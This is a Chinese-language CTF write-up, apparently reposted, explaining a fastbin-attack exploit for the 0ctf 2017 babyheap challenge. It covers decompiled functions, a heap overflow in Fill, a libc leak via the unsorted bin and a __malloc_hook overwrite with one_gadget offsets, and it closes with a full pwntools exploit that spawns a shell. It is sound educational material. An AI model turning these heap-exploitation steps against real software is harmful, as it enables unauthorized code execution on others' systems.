FastBinAttack实战babyheap_0ctf_2017
Posted Tokameine
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了FastBinAttack实战babyheap_0ctf_2017相关的知识,希望对你有一定的参考价值。
分析利用:
无壳,IDA打开后可以看出题目是基本的增删与展示(函数名为方便阅读而修改)
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
char *v4; // [rsp+8h] [rbp-8h]
v4 = initMmapList();
while ( 1 )
{
Menu();
switch ( getInput() )
{
case 1LL:
Allocate(v4);
break;
case 2LL:
Fill(v4);
break;
case 3LL:
Free(v4);
break;
case 4LL:
Dump((__int64)v4);
break;
case 5LL:
return 0LL;
default:
continue;
}
}
}
v4通过mmap分配了“一条链表”,但通过Allocate函数可以知道,实际的储存结构是类似chunk似的结构体:
00000000 size_t InUse
00000008 size_t Size
00000010 size_t content
每次Allocate都会遍历v4链表的每个InUse位,如果该位置0,就表示这个索引没有被使用,就会将该位置1,然后根据Size调用calloc,将返回值赋给content
然后可以看看Free函数:
__int64 __fastcall Free(__int64 a1)
{
__int64 result; // rax
int v2; // [rsp+1Ch] [rbp-4h]
printf("Index: ");
result = getInput();
v2 = result;
if ( (int)result >= 0 && (int)result <= 15 )
{
result = *(unsigned int *)(24LL * (int)result + a1);
if ( (_DWORD)result == 1 )
{
*(_DWORD *)(24LL * v2 + a1) = 0;
*(_QWORD *)(24LL * v2 + a1 + 8) = 0LL;
free(*(void **)(24LL * v2 + a1 + 16));
result = 24LL * v2 + a1;
*(_QWORD *)(result + 16) = 0LL;
}
}
return result;
}
由于free之后将指针全都清零了,所以指针复用在这里不太行
然后是Fill函数:
__int64 __fastcall Fill(__int64 a1)
{
__int64 result; // rax
int v2; // [rsp+18h] [rbp-8h]
int v3; // [rsp+1Ch] [rbp-4h]
printf("Index: ");
result = getInput();
v2 = result;
if ( (int)result >= 0 && (int)result <= 15 )
{
result = *(unsigned int *)(24LL * (int)result + a1);
if ( (_DWORD)result == 1 )
{
printf("Size: ");
result = getInput();
v3 = result;
if ( (int)result > 0 )
{
printf("Content: ");
result = sub_11B2(*(_QWORD *)(24LL * v2 + a1 + 16), v3);
}
}
}
return result;
}
可以看到,该函数没有限制我们的输入,因此我们可以让content开辟过大的chunk来达成堆溢出
最后是Dump:
int __fastcall Dump(__int64 a1)
{
int result; // eax
int v2; // [rsp+1Ch] [rbp-4h]
printf("Index: ");
result = getInput();
v2 = result;
if ( result >= 0 && result <= 15 )
{
result = *(_DWORD *)(24LL * result + a1);
if ( result == 1 )
{
puts("Content: ");
sub_130F(*(_QWORD *)(24LL * v2 + a1 + 16), *(_QWORD *)(24LL * v2 + a1 + 8));
result = puts(byte_14F1);
}
}
return result;
}
没有什么可用点,但我们可以用来泄露地址
我们最终的目的是修改malloc_hook或者free_hook的地址为某个one_gadget
为此我们需要泄露libc基址、通过伪造fake_chunk来向hook附近通过Fill函数填充溢出覆盖
Unsorted Bin双向链表能够将表头放入fd指针,通过Dump就能够泄露出库函数地址
如下过程参考CTF-WIKI:
首先需要泄露libc基址,为此我们需要通过Unsorted Bin获取fd指针,因此需要构造指针复用的情况,将两个索引的content指针指向同一个chunk
适当开辟几个符合Fast Bin的chunk(不一定要像笔者这样,指需理解思路即可),idx4作为泄露基地址的chunk,idx 0用于通过堆溢出来复写idx 1,idx 3来复写 idx4
然后用Free函数构成Fast Bin链表 idx1--->idx2
allocate(0x10) #idx 0
allocate(0x10) #idx 1
allocate(0x10) #idx 2
allocate(0x10) #idx 3
allocate(0x80) #idx 4
free(2)
free(1)
因为每个堆都是按页对齐的,所以如果将idx 1的fd指针的最后一个字节指向0x80就会指向idx 4,由此构造出Fast Bin链 idx1--->idx 4
由于Fast Bin有chunk块大小检查,所以将idx 4的size复写为与idx 1相同来绕过检查
payload='a'*0x10+p64(0)+p64(0x21)+p8(0x80)
fill(0,payload)
payload='a'*0x10+p64(0)+p64(0x21)
fill(3,payload)
Fast Bin为LIFO,接下来再重新开辟会idx 1和idx 2,然后再将idx 4的size修改回去
allocate(0x10) #idx 1
allocate(0x10) #idx 2
payload='a'*0x10+p64(0)+p64(0x91)
fill(3,payload)
此时,idx 2和idx 4的content指向了同一个地址,只要我们将idx 4释放掉,该chunk就会被放入Unsorted Bin,并增加fd指针,然后再Dump出idx 2即可泄露libc基址(不过需要先开辟idx 5以放置idx 4和Top chunk合并)
allocate(0x100) #idx 5
free(4)
dump(2)
p.recvuntil('Content: \\n')
unsortedbin_addr=u64(p.recv(8))
print hex(unsortedbin_addr)
main_arena_offset=0x3c4b20
def offset_bin_main_arena(idx):
word_bytes = context.word_size / 8
offset = 4 # lock
offset += 4 # flags
offset += word_bytes * 10 # offset fastbin
offset += word_bytes * 2 # top,last_remainder
offset += idx * 2 * word_bytes # idx
offset -= word_bytes * 2 #
return offset
unsortedbin_offset_main_arena = offset_bin_main_arena(0)
main_arena_addr = unsortedbin_addr - unsortedbin_offset_main_arena
libc_base = main_arena_addr - main_arena_offset
print hex(libc_base)
main_arena_offset是写在每个libc中的固定值
有师傅写过获取的脚本项目:https://github.com/bash-c/main_arena_offset
unsortedbin_offset_main_arena这些值也都有固定的计算方式
因此现在已经泄露出了libc基址
然后现在将放在Unsorted Bin中的idx 4开辟回来,但我们只开辟0x70的空间,剩下的0x20将被放回Unsorted Bin,而接下来释放idx 4又将其放入Fast Bin
allocate(0x60)
free(4)
接下来我们使用gdb附加调试来寻找可以伪造fake_chunk的地方:
gdb-peda$ x /10gx &__malloc_hook-6
0x7f03f6128ae0 <_IO_wide_data_0+288>: 0x0000000000000000 0x0000000000000000
0x7f03f6128af0 <_IO_wide_data_0+304>: 0x00007f03f6127260 0x0000000000000000
0x7f03f6128b00 <__memalign_hook>: 0x00007f03f5de9ea0 0x00007f03f5de9a70
0x7f03f6128b10 <__malloc_hook>: 0x0000000000000000 0x0000000000000000
0x7f03f6128b20 <main_arena>: 0x0000000000000000 0x0000000000000000
(不知道是gdb还是pwndbg的原因,竟然能直接这样查看到地址......)
我们可以发现0x7f这个数字比较适合被当作fake_chunk的Size ,于是我们将这个这个fake_chunk复写到idx 4的fd指针
fake_chunk=main_arena_addr-0x33
print hex(fake_chunk)
fakechunk=p64(fake_chunk)
fill(2,fakechunk)
然后用allocate将fake_chunk开辟回来,现在就能通过填充idx 6来溢出到malloc_hook了,然后再调用malloc即可拿到shell
allocate(0x60) #idx 4
allocate(0x60) #idx 6
one_garget=0x4526a+libc_base
payload='a'*(0x13)+p64(one_garget)
fill(6,payload)
allocate(0x100)
但值得注意的是,这道题在于2017年的0ctf上的赛题,在当时使用 libc2.23-0ubuntu11.2版本的共享库,但时至今日,Ubuntu16已经不再使用该版本,而是使用libc2.23-0ubuntu11.3版本共享库,而buu上也使用前者版本
因此笔者使用libc2.23-0ubuntu11.3中得到的one_gadget虽然在本地拿到了shell,但在远程服务器上却只能通过一些以前的wp来获取当时版本的one_gadget,这里记一下比较常用的
og1=[0x45216,0x4526a,0xf02a4,0xf1147] #libc2.23-0ubuntu11.2
og2=[0x45226,0x4527a,0xf0364,0xf1207] #libc2.23-0ubuntu11.3
完整exp:
from pwn import *
context.log_level='debug'
context.os='linux'
context.arch='amd64'
p=process('./babyheap_0ctf_2017')
#p=remote("node4.buuoj.cn",27641)
elf=ELF('./babyheap_0ctf_2017')
libc=elf.libc
def cmd(x):
p.sendlineafter('Command:',str(x))
def allocate(size):
cmd(1)
p.sendlineafter('Size:',str(size))
def fill(index,content):
cmd(2)
p.sendlineafter('Index:',str(index))
p.sendlineafter('Size:',str(len(content)))
p.sendlineafter('Content:',content)
def free(index):
cmd(3)
p.sendlineafter('Index:',str(index))
def dump(index):
cmd(4)
p.sendlineafter("Index:",str(index))
def offset_bin_main_arena(idx):
word_bytes = context.word_size / 8
offset = 4 # lock
offset += 4 # flags
offset += word_bytes * 10 # offset fastbin
offset += word_bytes * 2 # top,last_remainder
offset += idx * 2 * word_bytes # idx
offset -= word_bytes * 2 #
return offset
allocate(0x10)
allocate(0x10)
allocate(0x10)
allocate(0x10)
allocate(0x80)
free(2)
free(1)
payload='a'*0x10+p64(0)+p64(0x21)+p8(0x80)
fill(0,payload)
payload='a'*0x10+p64(0)+p64(0x21)
fill(3,payload)
allocate(0x10)
allocate(0x10)
payload='a'*0x10+p64(0)+p64(0x91)
fill(3,payload)
allocate(0x100)
free(4)
dump(2)
p.recvuntil('Content: \\n')
unsortedbin_addr=u64(p.recv(8))
print hex(unsortedbin_addr)
main_arena_offset=0x3c4b20
unsortedbin_offset_main_arena = offset_bin_main_arena(0)
main_arena_addr = unsortedbin_addr - unsortedbin_offset_main_arena
libc_base = main_arena_addr - main_arena_offset
print hex(libc_base)
one_garget=0x4526a+libc_base
allocate(0x60)
free(4)
gdb.attach(p)
fake_chunk=main_arena_addr-0x33
print hex(fake_chunk)
fakechunk=p64(fake_chunk)
fill(2,fakechunk)
allocate(0x60)
allocate(0x60) #6
payload='a'*(0x13)+p64(one_garget)
fill(6,payload)
allocate(0x100)
p.interactive()
以上是关于FastBinAttack实战babyheap_0ctf_2017的主要内容,如果未能解决你的问题,请参考以下文章